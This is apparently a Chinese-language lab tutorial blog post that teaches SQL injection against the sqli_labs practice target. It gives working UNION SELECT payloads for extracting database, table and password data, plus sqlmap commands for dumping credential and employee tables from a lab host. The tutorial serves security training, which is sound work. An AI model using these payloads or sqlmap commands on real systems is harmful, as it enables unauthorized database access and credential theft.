Administrator
发布于 2026-03-04 / 14 阅读
0
0

Sqlmap

联合查询

什么是联合查询?

你可以把它想象成:

你去餐厅点餐,本来点了「鱼香肉丝」(原始 SQL 查询),结果你偷偷跟厨师说:“把鱼香肉丝端上来的时候,顺便把后厨的菜单(敏感数据)也夹在盘子里一起端出来”。

UNION 就是这个 “顺便夹带” 的操作,而 “盘子” 就是页面的回显位置。

用 “餐厅点餐” 的例子,拆解联合查询注入的 4 步核心

结合 sqli_labs 靶场(比如新闻列表 / 商品搜索场景),如图:

第一步:先确认 “能不能夹带”(判断注入点)

  • 场景:餐厅服务员问你 “要几号菜?”(对应 URL 里的id=1

  • 如图

数字型注入(菜号直接报):

  • 你说 “1 号菜,而且我要确认只有 1 号菜能上(and 1=1)”→ 服务员正常回应;

  • 你说 “1 号菜,而且我要确认 2 号菜能上(and 1=2)”→ 服务员懵了(页面没数据)→ 说明能 “夹带”(此为举例具体根据实际情况猜测,比如这个靶场里9没有数据)

  • 字符型注入(菜号要加引号):

    你说 “'1' 号菜,而且 '1'='2'(1' and '1'='2 -- )”→ 服务员懵了→ 说明能 “夹带”

结论:能通过 “说矛盾的话” 让服务员懵,就说明可以后续 “夹带私货”

第二步:确定原始查询的列数(关键)

利用 ORDER BY 语句,通过 “报错边界” 判断列数:

sql

# 数字型
id=1 ORDER BY 3 -- 页面正常 → 至少3列
id=1 ORDER BY 4 -- 页面报错 → 原始查询共3列

# 字符型
id=1' ORDER BY 3 --  → 页面正常
id=1' ORDER BY 4 --  → 页面报错

原理ORDER BY N 表示按第 N 列排序,若 N 超过实际列数,数据库会报错

第三步:确定回显位(能展示数据的列)

构造 UNION SELECT,用无效条件让原始查询无结果,只显示构造的查询结果:

sql

# 数字型(-1让原始查询无结果)
id=-1 UNION SELECT 1,2,3 -- 

# 字符型(闭合引号+注释)
id=-1' UNION SELECT 1,2,3 -- 

解析:页面上显示的数字(如 2、3)就是 “回显位”,攻击者可将数字替换为敏感查询语句(如 database()user())。

4. 第四步:构造敏感数据查询(核心实战)

将回显位的数字替换为敏感函数 / 查询,提取数据:

sql

# 提取当前数据库名(回显位为2)
id=-1 UNION SELECT 1,database(),3 -- 

# 提取所有数据库名(利用information_schema系统库)
id=-1 UNION SELECT 1,schema_name,3 FROM information_schema.schemata -- 

# 提取指定数据库的表名(如sqli_labs)
id=-1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='sqli_labs' -- 

# 提取指定表的列名(如sys_users)
id=-1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_schema='sqli_labs' AND table_name='sys_users' -- 

# 提取账号密码(最终目标)
id=-1 UNION SELECT 1,username,password FROM sqli_labs.sys_users -- 

三、联合查询注入的关键解析要点

1. 列数 / 类型匹配原则

  • 必须保证 UNION 前后的 SELECT 列数完全一致,否则报错:

    ❌ 错误:SELECT id,title FROM news UNION SELECT 1(列数 1≠2)

    ✅ 正确:SELECT id,title FROM news UNION SELECT 1,'admin'(列数 2=2,类型匹配)。

  • 数据类型尽量匹配(如数字列填数字,字符串列填字符串),部分数据库(如 MySQL)会自动转换,容错性较高。

2. 回显位的利用逻辑

  • 只有页面能展示的列(回显位)才能输出敏感数据,非回显位可填任意值(如 1、'x')。

  • 示例:若原始查询是 SELECT id,content FROM article,且页面只显示 content 列(回显位为 2),则:

    sql

    id=-1 UNION SELECT 1,database() -- (database()在回显位2,页面展示数据库名)
    
    id=-1 UNION SELECT database(),1 -- (database()在非回显位1,页面无展示)

3. 字符型注入的闭合技巧

  • 单引号闭合:id=-1' UNION SELECT 1,2,3 --

  • 双引号闭合:id=-1" UNION SELECT 1,2,3 --

  • 括号 + 引号闭合:id=-1') UNION SELECT 1,2,3 -- (适配 WHERE id=('1') 场景)。

四、联合查询注入 vs 报错注入(核心区别)

表格

维度

联合查询注入

报错注入

核心依赖

页面有回显

数据库会抛出报错信息

核心函数

UNION SELECT

updatexml()/extractvalue()

数据展示方式

正常页面展示

报错信息中展示

长度限制

无(可直接展示完整结果)

有(最多 32 个字符)

总结

  1. 联合查询注入的核心是利用 UNION 拼接查询 + 回显位输出数据,前提是页面有回显且列数匹配。

  2. 关键步骤:判类型→定列数→找回显位→提数据,其中 “定列数” 和 “找回显位” 是基础,“提数据” 是核心目标。

  3. 字符型注入需先闭合引号,数字型可直接构造,这是两类注入的核心差异点

SqlMap

什么是sqlmap?

它一个可能存在 SQL 注入的网址 / 请求,它能自动检测注入点、判断注入类型,还能一键提取数据库名、表名、列名、账号密码,甚至直接拿到数据库权限 —— 不用你手动写复杂的 payload,全程自动化

一句话理解

它能自动帮你:

  • 发现网站有没有 SQL 注入漏洞

  • 拿到数据库里的用户名、密码、数据

  • 甚至拿到服务器权限

主要功能

  • 自动识别注入点(GET、POST、Cookie、HTTP 头)

  • 支持几乎所有数据库:MySQL、Oracle、SQL Server、PostgreSQL 等

  • 自动脱库:查库名、表名、字段、数据

  • 支持盲注、报错注入、联合注入、时间盲注

  • 可读写文件、执行系统命令(高权限下)

报错注入

实验准备

  • 需要一个报错注入的靶机

  • 准备BurpSuite工具

  • 攻击机(kali)

步骤1

(1)使用BurpSuite工具对靶机进行请求头部抓包->并把头部内容保存到文件里如yxwa.txt

  • 图1:

  • 图2:保存内容如下

步骤2

(2)使用sqlmap 读取你指定路径下的 yxwa.txt 文件(里面是 HTTP 请求包),并基于这个请求包自动检测是否存在 SQL 注入漏洞

  • 执行代码:

sqlmap -r '/home/kali/桌面/yxwa.txt' 

'/home/kali/桌面/yxwa.txt' :根据自身路径选择文件路径

  • 结果图:

(3)使用sqlmap 读取指定的 HTTP 请求文件,在检测到 SQL 注入漏洞后,直接获取当前被攻击的 Web 应用所连接的数据库名

  • 执行代码:

sqlmap -r '/home/kali/桌面/yxwa.txt' --current-db
  • 结果图:

(4)使用sqlmap 基于指定的 HTTP 请求文件检测到注入漏洞后,专门枚举(列出)名为 sqli_labs 的数据库下的所有数据表名称

  • 执行代码:

sqlmap -r '/home/kali/桌面/yxwa.txt' --D sqli_labs --tables
  • 结果图:

(5)检测到注入漏洞后,专门枚举(列出)sqli_labs 数据库下 sys_users 表的所有字段(列)名称及数据类型

  • 执行代码:

sqlmap -r '/home/kali/桌面/yxwa.txt' -D sqli_labs -T sys_users --columns
  • 结果图:

(6)检测到注入漏洞后,精准导出 sqli_labs 数据库中 sys_users 表的 username(用户名)和 password(密码)字段的所有数据

  • 执行代码

sqlmap -r '/home/kali/桌面/yxwa.txt' -D sqli_labs -T sys_users -C username,password --dump
  • 结果图:

到这里是 SQL 注入 “脱库” 的最终核心步骤

关键参数速记

表格

参数

作用

-r 文件名

 指定 HTTP 请求文件(注入点)

-D 库名

 指定要操作的数据库

-T 表名

 指定要操作的表

-C 列名

 指定要提取的列(多列用逗号分隔)

--dbs

 列出所有数据库

--tables

 列出指定库的所有表

--columns

 列出指定表的所有列

--dump

 导出指定列 / 表的数据

--batch

 自动回答所有问题(懒人必备)

布尔盲注

步骤1

(1)使用BurpSuite工具对靶机进行请求头部抓包->并把头部内容保存到文件里如bool_blind.txt

  • 图1:

  • 图2:

步骤 2:

检测注入点并确认布尔盲注类型

sqlmap -r '/home/kali/桌面/bool_blind.txt
  • 结果图

步骤 3:

列出当前数据库名

  • 执行代码:

sqlmap -r '/home/kali/桌面/bool_blind.txt' --current-db
  • 结果图:

步骤 4

列出目标数据库的所有表名

  • 结果图:

sqlmap -r '/home/kali/桌面/bool_blind.txt' -D sqli_labs --tables
  • 结果图

步骤5

列出敏感表的列名

  • 执行代码:

sqlmap -r '/home/kali/桌面/bool_blind.txt' -D sqli_labs -T hr_employees --columns
  • 结果图

步骤6:

提取敏感数据

  • 执行数据

sqlmap -r '/home/kali/桌面/bool_blind.txt' -D sqli_labs -T hr_employees -C emp_no --dump
  • 结果图

Sqlmap批量模式

让 sqlmap 对指定 URL 中的 order_no 参数自动检测 SQL 注入漏洞,若检测到则枚举当前数据库下的所有数据表名称,且全程自动执行(无需手动确认)

时间盲注为例

  • 执行代码:

sqlmap -u http://10.10.1.97:8085/order?order_no=ORD-20240301-0001 --tables --batch

核心参数逐行解析

  • 表格

参数

全称 / 含义

关键作用

-u http://10.10.1.97:8085/order?order_no=ORD-20240301-0001

--url,指定要测试的目标 URL

明确测试对象:10.10.1.97:8085 是目标 IP + 端口,order 是接口路径,order_no 是待检测的 GET 参数

--tables

枚举数据表名称

若检测到注入漏洞,会自动列出当前数据库下的所有表名(注意:不是所有数据库,仅当前连接的库)

--batch

批量 / 全自动模式

禁用所有交互式确认(比如 sqlmap 询问 “是否继续检测”“是否尝试其他注入类型” 等),全程自动执行,适合脚本 / 无人值守场景

  • 结果图

  • 执行以后得到的结果图

此时我们得到了mall_orders

  • 执行代码:

sqlmap -r '/home/kali/桌面/1.txt'  -D sqli_labs -T mall_orders --columns
  • /home/kali/桌面/1.txt:使用BurpSuite工具对靶机进行http请求头部抓包->并把头部内容保存到文件里

  • 结果图:

从order_on进行查看订单编号下的表

  • 执行代码

sqlmap -r '/home/kali/桌面/1.txt' -D sqli_labs -T mall_orders -C order_no --dump
  • 结果图:


SQLmap 核心复盘

用途:掌握 SQL 注入手动联合查询原理,并用 Sqlmap 实现报错 / 布尔盲注 / 批量检测,完成从注入点检测到数据库脱库的全流程

核心:联合查询 4 步(判注入点→定列数→找回显位→提数据);Sqlmap 核心用法(-r 抓包文件 +(-D/-T/-C)+--dump,--batch 全自动)

踩坑:联合查询列数不匹配、字符型注入未闭合引号;Sqlmap 路径写错、盲注未加 --batch、敏感查询放非回显位

免责声明

警告:本实验手册中的技术仅供安全研究和授权测试使用。未经授权在他人系统上使用这些技术属于违法行为,可能导致严重的法律后果。

请确保:

  1. 仅在自有系统或获得明确书面授权的系统上进行测试

  2. 了解并遵守所在地区的法律法规

  3. 负责任地使用所学知识,遵守职业道德规范


评论